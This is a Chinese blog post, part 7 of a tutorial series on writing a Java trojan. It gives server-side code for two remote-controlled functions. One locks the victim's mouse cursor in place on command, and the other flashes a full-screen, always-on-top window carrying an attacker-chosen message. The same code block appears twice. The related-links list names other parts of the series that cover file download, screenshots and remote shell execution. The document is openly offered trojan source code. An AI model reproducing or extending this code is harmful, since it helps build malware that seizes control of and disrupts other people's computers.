java 木马开发(7)---服务端---锁住鼠标函数 mouseLock 和 闪屏函数 Flash
2017-02-18 08:53
253 查看
/* 锁住鼠标函数
* 接收l参数 启动鼠标锁定线程
* 接收a 停止鼠标锁定线程
* */
void mouseLock(String s) {
if (s.equals("l")) {
if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
mouseLockThread = new MouseLockThread();
mouseLockThread.flag = true;
mouseLockThread.start();
}
} else if (s.equals("a")) {
mouseLockThread.flag = false;
}
}
//开一个线程
class MouseLockThread extends Thread {
boolean flag = false; //创建一个监控哨兵
public void run() {
Point p = MouseInfo.getPointerInfo().getLocation();//获取鼠标目前的位置坐标
while (flag) { //哨兵为true时,一直循环 鼠标被锁定。哨兵为false时,退出循环 ,鼠标解锁
try {
Thread.sleep(1);
robot.mouseMove(p.x, p.y); //移动鼠标到当前位置坐标
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
=====================================
class Flash {
JFrame frame;
JPanel pane;
Color c[] = { Color.pink, Color.white, Color.blue };
int i;
Image offScreenImage = null;
String msg;
public Flash(String s) {
msg = s;
//使用Toolkit.getDefaultToolkit()获取本地主机资源,这里获取了屏幕宽和高
final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
//创建一个大小与屏幕相等的窗体,并设置在其它窗体上面
frame = new JFrame();
frame.setAlwaysOnTop(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setUndecorated(true);
frame.setBounds(0, 0, width, height);
//在面板中绘制与屏幕大小相同的图像
pane = new JPanel() {
public void paint(Graphics g) {
if (offScreenImage == null) {
offScreenImage = this.createImage(width, height);
}
//处理屏幕显示的图像,包括颜色,显示的字符串等
Graphics gg = offScreenImage.getGraphics();
gg.setFont(new Font(null, Font.PLAIN, 50));
gg.setColor(c[i]);
gg.fillRect(0, 0, width, height);
gg.setColor(Color.black);
gg.drawString(msg, 200, 50);
g.drawImage(offScreenImage, 0, 0, null);
}
};
frame.setContentPane(pane);
frame.setVisible(true);
//每隔50毫秒闪屏一次,闪屏100次,退出
new Thread() {
public void run() {
int time = 0;
while (i < c.length) {
Flash.this.myUpdate();
try {
Thread.sleep(50);
time++;
if (time == 100) {
frame.dispose();
break;
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
}
//在三种初始设定的颜色之间不断切换
public void myUpdate() {
if (i == c.length - 1) {
i = 0;
} else {
i++;
}
pane.repaint();
}
}
* 接收l参数 启动鼠标锁定线程
* 接收a 停止鼠标锁定线程
* */
void mouseLock(String s) {
if (s.equals("l")) {
if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
mouseLockThread = new MouseLockThread();
mouseLockThread.flag = true;
mouseLockThread.start();
}
} else if (s.equals("a")) {
mouseLockThread.flag = false;
}
}
//开一个线程
class MouseLockThread extends Thread {
boolean flag = false; //创建一个监控哨兵
public void run() {
Point p = MouseInfo.getPointerInfo().getLocation();//获取鼠标目前的位置坐标
while (flag) { //哨兵为true时,一直循环 鼠标被锁定。哨兵为false时,退出循环 ,鼠标解锁
try {
Thread.sleep(1);
robot.mouseMove(p.x, p.y); //移动鼠标到当前位置坐标
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
=====================================
class Flash {
JFrame frame;
JPanel pane;
Color c[] = { Color.pink, Color.white, Color.blue };
int i;
Image offScreenImage = null;
String msg;
public Flash(String s) {
msg = s;
//使用Toolkit.getDefaultToolkit()获取本地主机资源,这里获取了屏幕宽和高
final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
//创建一个大小与屏幕相等的窗体,并设置在其它窗体上面
frame = new JFrame();
frame.setAlwaysOnTop(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setUndecorated(true);
frame.setBounds(0, 0, width, height);
//在面板中绘制与屏幕大小相同的图像
pane = new JPanel() {
public void paint(Graphics g) {
if (offScreenImage == null) {
offScreenImage = this.createImage(width, height);
}
//处理屏幕显示的图像,包括颜色,显示的字符串等
Graphics gg = offScreenImage.getGraphics();
gg.setFont(new Font(null, Font.PLAIN, 50));
gg.setColor(c[i]);
gg.fillRect(0, 0, width, height);
gg.setColor(Color.black);
gg.drawString(msg, 200, 50);
g.drawImage(offScreenImage, 0, 0, null);
}
};
frame.setContentPane(pane);
frame.setVisible(true);
//每隔50毫秒闪屏一次,闪屏100次,退出
new Thread() {
public void run() {
int time = 0;
while (i < c.length) {
Flash.this.myUpdate();
try {
Thread.sleep(50);
time++;
if (time == 100) {
frame.dispose();
break;
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
}
//在三种初始设定的颜色之间不断切换
public void myUpdate() {
if (i == c.length - 1) {
i = 0;
} else {
i++;
}
pane.repaint();
}
}
相关文章推荐
- java 木马开发(4)---服务端 ---接收指令函数takeOrder()
- java 木马开发(6)---服务端 --- 文件下载函数
- java 木马开发(5)---服务端 --- 对话框函数和截屏函数
- java 木马开发(3)服务端判断为linux时的执行模块ServerLin (构造函数介绍)
- java 木马开发(9)---服务端 完结 完整代码
- java 木马开发(8)---服务端--- 调用平台shell去执行输入指令
- JAVA服务端开发基础知识
- 2011金山软件-服务端开发工程师(JAVA)部分笔试题
- [导入][Flash开发笔记] ComboBox,List组件的二个函数
- Java版SLG游戏开发入门[0]--让绘制的窗口响应鼠标事件
- java开发过程常用基础函数
- FLASH+JAVA开发实时网络游戏
- C#写木马服务端的开发
- Flash游戏开发常用函数代
- Java开发过常用的基础函数--很有用
- (转)java 存储过程或函数开发(总结)
- adf开发中怎么用js调用的服务端的java方法
- [导入][Flash开发笔记] AS中保留多少位小数的函数
- Flash游戏开发常用函数代
- Java版SLG游戏开发入门[0]--让绘制的窗口响应鼠标事件 推荐